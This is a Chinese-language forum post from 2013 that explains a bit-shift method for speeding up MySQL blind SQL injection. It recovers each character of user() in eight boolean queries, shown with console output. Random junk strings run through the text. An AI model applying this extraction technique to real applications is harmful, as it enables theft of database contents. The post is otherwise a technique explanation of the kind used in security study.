找回密码
 立即注册
查看: 2613|回复: 0
打印 上一主题 下一主题

关于通过对8bit的ascii做右位移提高mysql盲注效率

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:25:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位" Q: _0 {. g' _2 |' k6 o% [

3 I! V$ g1 Q5 l, d. R; m  Y8 j6 l ) t  f6 _$ U: S: }+ k- F2 w7 ^7 F
* p; s, _- l1 g$ k6 g+ C$ \+ M, m
下面将以查询mysql数据库当中user()的第一位为例:
% |* ~3 }4 ]- x5 \  G2 y
  q$ [2 p5 z9 |
) B9 U4 S: J. Y* A
$ `, r" |' m  k3 yps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
4 L5 j7 G. b4 y) R- _+ I7 b  A( G% U# R4 r# @

8 k9 `% |8 |% a. k  G, Y" C# C! f1 E* }; O" f+ w# m& B: K! w8 p8 R
首先执行如下sql语句:+ G/ m4 i9 {, m! r# G* u9 m9 Z

- X" Q& u( l- A( w  ]! U: r
- a& p5 l; q" v! B% }) y5 i* y: m6 Y8 U+ P2 L4 l7 T8 b/ u$ v
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
& b+ Y# Y, M6 N, r
/ t6 Z( g, s5 w$ e; k4 z: N
5 ]; R7 J1 p  V* f2 N# ]6 R  m6 |5 s/ p$ b; J9 B
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的; U) v& i$ z+ q' P( w; {7 y

( B! O: D# r# {3 W" p! J+ p
0 l# z2 }4 a' `" [: ?' r2 d$ ~+ E9 s6 q4 b. {
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
$ ?0 v* [& x% l1 I" e" A4 b! w2 F, Q2 G) A4 W6 v; J* D

9 A: W3 d+ l* E& _/ w
# X( S1 N" j. F) N如果运算结果为1,说明第一位为0,不为1" F9 s4 k2 u( t6 ~2 i6 _4 F

3 Q* Y2 J( P0 d5 S. ` 4 L# ~3 ^( E  y5 v- ~6 _2 {) ^
; u  w9 r0 R# ]2 ]* ~1 S
+————————————–+
* P5 B  X( o$ p1 x2 K, G8 }) j7 A! ~1 A5 p* q: ~3 n
| (ascii((substr(user(),1,1))) >> 7)=0 |5 f* |6 O  w6 S; {" k

1 ^1 @  I1 b, b: n: z5 W( M1 n+————————————–+- b1 k3 ?8 x8 Y% |2 g* }& Q0 ^2 W

& w% O$ z% t4 u$ p& X  @. |) I| 1 |; D* t  i% W7 X
' W9 r4 w0 E& J4 C; E( D, P: J& N
+————————————–+
/ ?4 p9 t: u+ ]% Y- X* T& P. y. a  e2 V3 _3 g
1 row in set (0.00 sec)7 p4 B9 L$ \( {: B7 c
# W/ ]! N0 o+ o6 m! f
这样我们就确定这个8bit的ascii的第一位为0
, |7 `3 l6 G& S4 y: g
7 e0 U2 h  q9 [ 6 c3 G; e8 }' ]  R5 N) h8 c4 ^$ z

; |; W' L; ~4 ~/ `6 {第二次我们来做6次右偏移来确定前两位3 [8 o: B* f$ ^5 G7 P

( w6 p2 `8 N' Y9 u; P8 l0 A& L 1 C+ A2 Z4 V$ E7 ~6 q5 v
2 o  a# V2 X: A+ M3 l4 J
前两位可能是01或00,即依然可以与0做比较,/ S7 C+ k, Z6 d
' P4 w* y% [: d) v* T
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;9 d! k4 A: T  w% o- E6 r+ ~$ T
* C8 w  z" ?' w
+————————————–+
2 N6 n/ q8 f# p( ^/ S& t8 {. z8 X& N; G/ e; r  {* p5 F, j
| (ascii((substr(user(),1,1))) >> 6)=0 |* l; c) `" V2 Z/ G, u& t

/ n4 v! _9 J4 S+————————————–+" F! A$ ~9 W* C
5 S: k7 x& \; q! L( z3 z
| 0 |. C% Y. i) e( H2 @) L' l

/ v1 @! y2 Q. H4 G! q1 _/ b9 Q+————————————–+
5 K4 q; f. B3 R) V% e
* Z: `7 B( X/ n0 R& J1 row in set (0.00 sec)8 T& G( ]2 e; h3 t

3 _( t9 }. q  Y$ V7 N 2 A  ~* ]8 J: \& T+ u4 d+ v
5 _) i" M7 |- s
结果为0,即第二位为12 u1 G7 R3 V% ]

' ^/ `% X6 _, [; R0 Q9 j ! K; ^' K, I9 q+ U2 t6 }

- n: b" ^9 E- ~3 K2 b. k2 e开始猜测前三位为010或011
( u+ q- i1 p  |7 T& e( |
- `: `5 U1 s( ]  y2 B' P7 u8 \
3 ^# C& m/ j4 c2 b' z
5 Y4 _' u! x! [6 D  c, E5 b6 G让我们看看010和011的ascii码是多少
4 Z8 t0 e5 U# M, I
( Q0 [9 X# N8 i) p
, k* _! {# \& M5 e
. G& j# R9 ]- ~% B, ~: z2 [分别查询select b’011′ select b’010′
! l5 C4 G# d. D" `3 T: l. Y% C" c7 C, v2 H* d% W0 ?

; P7 p0 v7 ~4 G5 K1 ~
- \& v6 m( @) x/ h( O& f获得结果 010 = 2 011 = 39 i( w0 A# j. t/ ^& m: h( e
% O4 ]: i/ d2 H' [

' p6 x9 E' Y/ J' U6 d! c+ i* r0 r/ W' D
执行如下sql:
2 W. m# C  V3 ~+ `
0 W8 z' D6 S! F 4 Y1 c6 O- D( q- Q

' K% D* o& S! ]8 L7 q- O2 Nmysql> select (ascii((substr(user(),1,1))) >> 5)=2;3 |: x+ P: c! R6 {- A" J
' O" h5 y# O- l, H
+————————————–+
6 m% d8 @$ \8 q! I! y! F$ c
9 i! P# \% D# {( B, t| (ascii((substr(user(),1,1))) >> 5)=2 |
; [5 Z+ ~: Y: A/ n8 c6 V" D+ I$ `6 T9 g
+————————————–+2 E1 c. Z; j4 j

/ Z5 ]3 ]- ^8 P3 v* H+ S| 0 |
2 s$ N6 M9 W$ U7 V7 }
4 L/ d& S7 u7 q: W; \" V1 F, G+————————————–+
, M5 S  d( j* T: a
& a" Y4 j1 ]& F, b$ ?即前三位不为010,而是011! Q' g; |4 F! O" R+ S6 Z$ V
- v. a+ H+ ]8 Q- L  a3 I

. t0 v+ k; U; o; l' \& E# r. w$ n' a) D9 F' j
直到获得最后一位
7 n6 I5 H; ]8 c
. Q7 y; k) D/ a
% E9 A  f" e5 j$ U$ L; D9 ~8 a5 B% _' @
最终结果为:01110010  v+ ?( P4 f+ R) N) T+ s( s
1 }- p! T4 X/ D3 I0 H% w

) k. n. t4 c* F* U/ z- @! ^$ E; b
转换一下:
, A! u( ?0 M5 w0 B+ ^" h
/ t; _4 r* C$ m; Y* n2 r
  V0 s. j! q6 _% n8 F' b# f& ^3 M9 M, _
select b’01110010′9 n& S' h' _5 v: R( i
3 u8 @6 S' p! B" F0 n( v! J
  D4 q- O+ v8 B% G" M- B& ?, Y
6 l- E8 z5 W: n! Y
查询结果
1 ~5 e( f$ [- B- E- x! A& D! }( _8 H+ I7 M+ N4 w4 q4 j3 t

0 [) v2 _: z! T. L# B/ s1 P9 G  J  O. c2 t* v5 ~
+————-+/ u* _# n8 p) ~' h" M- A$ w. A

* T9 D: M6 q5 E  b' C4 B| b’01110010′ |1 Q0 O) j; p9 l! y& J( G6 p6 L
9 V9 g6 w- f' r7 |
+————-+7 G# ~  ?* V1 i

# Y9 G) T! \! u: a| r |
1 y. B/ z- V/ x2 z/ f7 r; I" U3 {5 r5 r$ H$ Z
+————-+
. o; u( r: k% b7 g7 |7 B. ]$ \4 q* j1 b3 g8 ~- y
1 row in set (0.00 sec)
$ _+ |5 a  Y( A9 o. t& w- j3 V$ ?2 I' @  @

* z  z! G$ {" y0 O
) g$ |. W% Q. o3 r' E这样我们就获得了user()的第一位.其它位依此类推. y: K4 H. O! P9 c3 U8 N! P

* x- M5 B$ s; A0 E$ S
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表